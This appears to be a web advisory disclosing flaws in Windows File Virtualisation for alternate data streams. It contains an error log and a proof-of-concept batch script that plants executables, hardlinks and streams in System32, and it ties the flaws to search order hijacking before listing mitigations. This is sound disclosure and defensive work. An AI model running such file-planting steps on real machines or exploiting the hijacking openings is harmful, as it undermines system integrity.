'C:\Windows:Blunder.fon' File 'C:\Windows:Blunder.fon' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.fon' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.fon' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.fon' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.fon' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.hlp' File 'C:\Windows:Blunder.hlp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.hlp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.hlp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.hlp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.hlp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.hta' File 'C:\Windows:Blunder.hta' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.hta' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.hta' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.hta' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.hta' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ime' File 'C:\Windows:Blunder.ime' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ime' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ime' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ime' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ime' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.inf' File 'C:\Windows:Blunder.inf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.inf' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.inf' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.inf' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.inf' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ins' File 'C:\Windows:Blunder.ins' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ins' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ins' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ins' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ins' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.iso' File 'C:\Windows:Blunder.iso' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.iso' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.iso' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.iso' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.iso' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.isp' File 'C:\Windows:Blunder.isp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.isp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.isp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.isp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.isp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.its' File 'C:\Windows:Blunder.its' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.its' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.its' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.its' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.its' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.js' File 'C:\Windows:Blunder.js' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.js' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.js' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.js' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.js' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.jse' File 'C:\Windows:Blunder.jse' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.jse' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.jse' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.jse' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.jse' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.lnk' File 'C:\Windows:Blunder.lnk' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.lnk' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.lnk' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.lnk' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.lnk' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msc' File 'C:\Windows:Blunder.msc' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msc' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msc' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msc' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msc' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msi' File 'C:\Windows:Blunder.msi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msi' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msi' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msi' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msi' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msp' File 'C:\Windows:Blunder.msp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.mst' File 'C:\Windows:Blunder.mst' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.mst' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.mst' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.mst' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.mst' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.mui' File 'C:\Windows:Blunder.mui' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.mui' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.mui' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.mui' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.mui' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.nls' File 'C:\Windows:Blunder.nls' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.nls' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.nls' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.nls' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.nls' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ocx' File 'C:\Windows:Blunder.ocx' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ocx' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ocx' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ocx' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ocx' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.pif' File 'C:\Windows:Blunder.pif' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.pif' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.pif' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.pif' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.pif' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.reg' File 'C:\Windows:Blunder.reg' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.reg' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.reg' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.reg' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.reg' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.scr' File 'C:\Windows:Blunder.scr' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.scr' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.scr' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.scr' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.scr' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.sct' File 'C:\Windows:Blunder.sct' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.sct' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.sct' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.sct' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.sct' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.shb' File 'C:\Windows:Blunder.shb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.shb' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.shb' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.shb' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.shb' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.shs' File 'C:\Windows:Blunder.shs' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.shs' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.shs' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.shs' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.shs' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.sys' File 'C:\Windows:Blunder.sys' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.sys' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.sys' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.sys' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.sys' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tlb' File 'C:\Windows:Blunder.tlb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tlb' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tlb' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tlb' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tlb' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tmp' File 'C:\Windows:Blunder.tmp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tmp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tmp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tmp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tmp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tsp' File 'C:\Windows:Blunder.tsp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tsp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tsp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tsp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tsp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ttf' File 'C:\Windows:Blunder.ttf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ttf' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ttf' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ttf' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ttf' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.url' File 'C:\Windows:Blunder.url' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.url' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.url' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.url' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.url' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vb' File 'C:\Windows:Blunder.vb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vb' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vb' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vb' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vb' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vbe' File 'C:\Windows:Blunder.vbe' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vbe' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vbe' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vbe' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vbe' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vbs' File 'C:\Windows:Blunder.vbs' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vbs' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vbs' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vbs' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vbs' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wll' File 'C:\Windows:Blunder.wll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wll' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wll' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wll' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wll' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsc' File 'C:\Windows:Blunder.wsc' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsc' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsc' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsc' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsc' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsf' File 'C:\Windows:Blunder.wsf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsf' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsf' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsf' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsf' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsh' File 'C:\Windows:Blunder.wsh' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsh' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsh' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsh' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsh' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.xll' File 'C:\Windows:Blunder.xll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.xll' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.xll' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.xll' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.xll' 0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.OUCH⁵: although creation of virtualised Alternate Data Streams succeeds, subsequent accesses but fail with either the wrong Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
or the wrong error code 126 alias
ERROR_MOD_NOT_FOUND
instead of the appropriate error code 5 alias
ERROR_ACCESS_DENIED
– File Virtualisation is
seriously broken for
Alternate Data Streams!
CreateFile2()
,
CreateFileTransacted()
and
DeleteFileTransacted()
as well as
CreateProcessAsUser()
,
CreateProcessWithLogonW()
,
CreateProcessWithTokenW()
,
CreateSymbolicLink()
,
CreateSymbolicLinkTransacted()
,
LoadLibraryEx()
,
LoadModule()
,
MoveFile()
,
MoveFileEx()
,
MoveFileTransacted()
,
MoveFileWithProgress()
,
ReOpenFile()
,
ReplaceFile()
,
ShellExecute()
,
ShellExecuteEx()
and
WinExec()
is left as an exercise to the reader.
Note: the comparison of the dangerous
extensions exempted from File Virtualisation against
the Unsafe File List
documented in the
MSKB
article
291369
is also left as an exercise to the reader.
REM Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
IF NOT DEFINED SystemRoot EXIT /B
IF NOT DEFINED LOCALAPPDATA EXIT /B
IF "%COMSPEC%" == "%~dpn0.com" GOTO :BLUNDER
TITLE Step 0: copy the 32-bit 'command processor' and replace its 'application manifest'
MT.EXE /INPUTRESOURCE:"%COMSPEC%" /OUT:"%~dpn0.xml"
IF ERRORLEVEL 1 EXIT /B
IF EXIST "%SystemRoot%\SysWoW64\Cmd.exe" (COPY "%SystemRoot%\SysWoW64\Cmd.exe" "%~dpn0.com") ELSE COPY "%SystemRoot%\System32\Cmd.exe" "%~dpn0.com"
(
ECHO ^<?xml version='1.0' encoding='UTF-8' standalone='yes' ?^>
ECHO ^<!-- Copyright (C) 2009-2025, Stefan Kanthak --^>
ECHO ^<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' /^>
) 1>"%~dpn0.xml"
MT.EXE /CANONICALIZE /MANIFEST "%~dpn0.xml" /OUTPUTRESOURCE:"%~dpn0.com"
IF ERRORLEVEL 1 EXIT /B
FOR /D %%? IN ("%SystemRoot%\System32\??-??" "%SystemRoot%\SysWoW64\??-??") DO @(
IF EXIST "%%?\cmd.exe.mui" IF NOT EXIST "%~dp0%%~n?" (
MKDIR "%~dp0%%~n?" && COPY "%%?\cmd.exe.mui" "%~dp0%%~n?\%~n0.com.mui") ELSE (
COPY "%%?\cmd.exe.mui" "%~dp0%%~n?\%~n0.com.mui"))
SETLOCAL
SET COMSPEC=
SET PATHEXT=
SET PROMPT=
"%~dpn0.com" /C CALL "%~0" 1>"%~dpn0.log" 2>&1
ERASE "%~dpn0.com" "%~dpn0.efi" "%~dpn0.htm" "%~dpn0.iso" "%~dpn0.ttf" "%~dpn0.wll" "%~dpn0.xll" "%~dpn0.xml"
EXIT /B
:BLUNDER
TITLE Step 1: list the (empty) 'virtual store'
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 2: create a subdirectory in the 'system directory'
MKDIR "%SystemRoot%\System32\%~n0"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 3: create (empty) files with 'dangerous' extensions in the 'system directory'
SET PATHEXT
FOR %%? IN (%PATHEXT%) DO COPY NUL: "%SystemRoot%\System32\%~n0%%?"
TITLE Step 4: create executable files with other extensions in the 'system directory'
SET BLUNDER=.dll .efi .htm .iso .jse .lnk .pif .scr .sys .ttf .vbe .url .wll .wsf .wsh .xll
FOR %%? IN (%BLUNDER%) DO COPY "%~dpn0.com" "%SystemRoot%\System32\%~n0%%?"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 5: move files created above from the 'system directory' into the 'application directory'
MOVE "%SystemRoot%\System32\%~n0.*" "%~dp0."
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 6: create executable hardlinks with all extensions used above in the 'system directory'
COPY "%~dpn0.com" "%LOCALAPPDATA%\Temp"
FOR %%? IN (%PATHEXT% %BLUNDER%) DO MKLINK /H "%SystemRoot%\System32\%~n0%%?" "%LOCALAPPDATA%\Temp\%~dpn0.com"
ERASE "%LOCALAPPDATA%\Temp\%~dpn0.com"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 7: move hardlinks created above from the 'system directory' into the 'application directory'
MOVE "%SystemRoot%\System32\%~n0.*" "%~dp0."
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 8: execute hardlinks left in the 'system directory'
FOR %%? IN ("%SystemRoot%\System32\%~n0.*") DO CALL "%%~?"
TITLE Step 9: create (empty) 'alternate data streams' on the subdirectory created above
FOR %%? IN (%PATHEXT% %BLUNDER%) DO BREAK 1>"%SystemRoot%\System32\%~n0:%~n0%%?"
DIR /A /R /S "%SystemRoot%\%~n0"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 10: erase files, hardlinks and the subdirectory created above
ERASE "%SystemRoot%\System32\%~n0.*"
RMDIR "%SystemRoot%\System32\%~n0"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 11: remove garbage left in the 'virtual store' and exit
ERASE "%LOCALAPPDATA%\VirtualStore\System32\%~n0.*"
RMDIR "%LOCALAPPDATA%\VirtualStore\System32\%~n0"
RMDIR "%LOCALAPPDATA%\VirtualStore\System32"
ERASE "%LOCALAPPDATA%\VirtualStore\SysWoW64\%~n0.*"
RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64\%~n0"
RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64"
EXIT /B
.wll
or .xll
and are
subject to File Virtualisation, are
vulnerable to well-known weaknesses like
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
CWE-73: External Control of File Name or Path,
CWE-426: Untrusted Search Path
and
CWE-427: Uncontrolled Search Path Element
documented in the
CWE™;
they allow well-known attacks like
CAPEC-471: Search Order Hijacking
documented in the
CAPEC™.
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableVirtualization"=dword:00000000
virtual storedirectory
%LOCALAPPDATA%\VirtualStore\
and below via
SAFER
alias
Software Restriction Policies,
AppLocker
or Windows Defender Application Control alias
App Control for Business.
Delivering major enhancements in Windows Defender Application Control with the Windows 10 May 2019 Update
Caveat: beware but of their loopholes!
Use the X.509 certificate to send S/MIME encrypted mail.
Note: email in weird format and without a proper sender name is likely to be discarded!
I dislike
HTML (and even
weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your
nickname.
I abhor top posts and expect inline quotes in replies.
as iswithout any warranty, neither express nor implied.
cookiesin the web browser.
The web service is operated and provided by
Telekom Deutschland GmbH The web service provider stores a session cookie
in the web
browser and records every visit of this web site with the following
data in an access log on their server(s):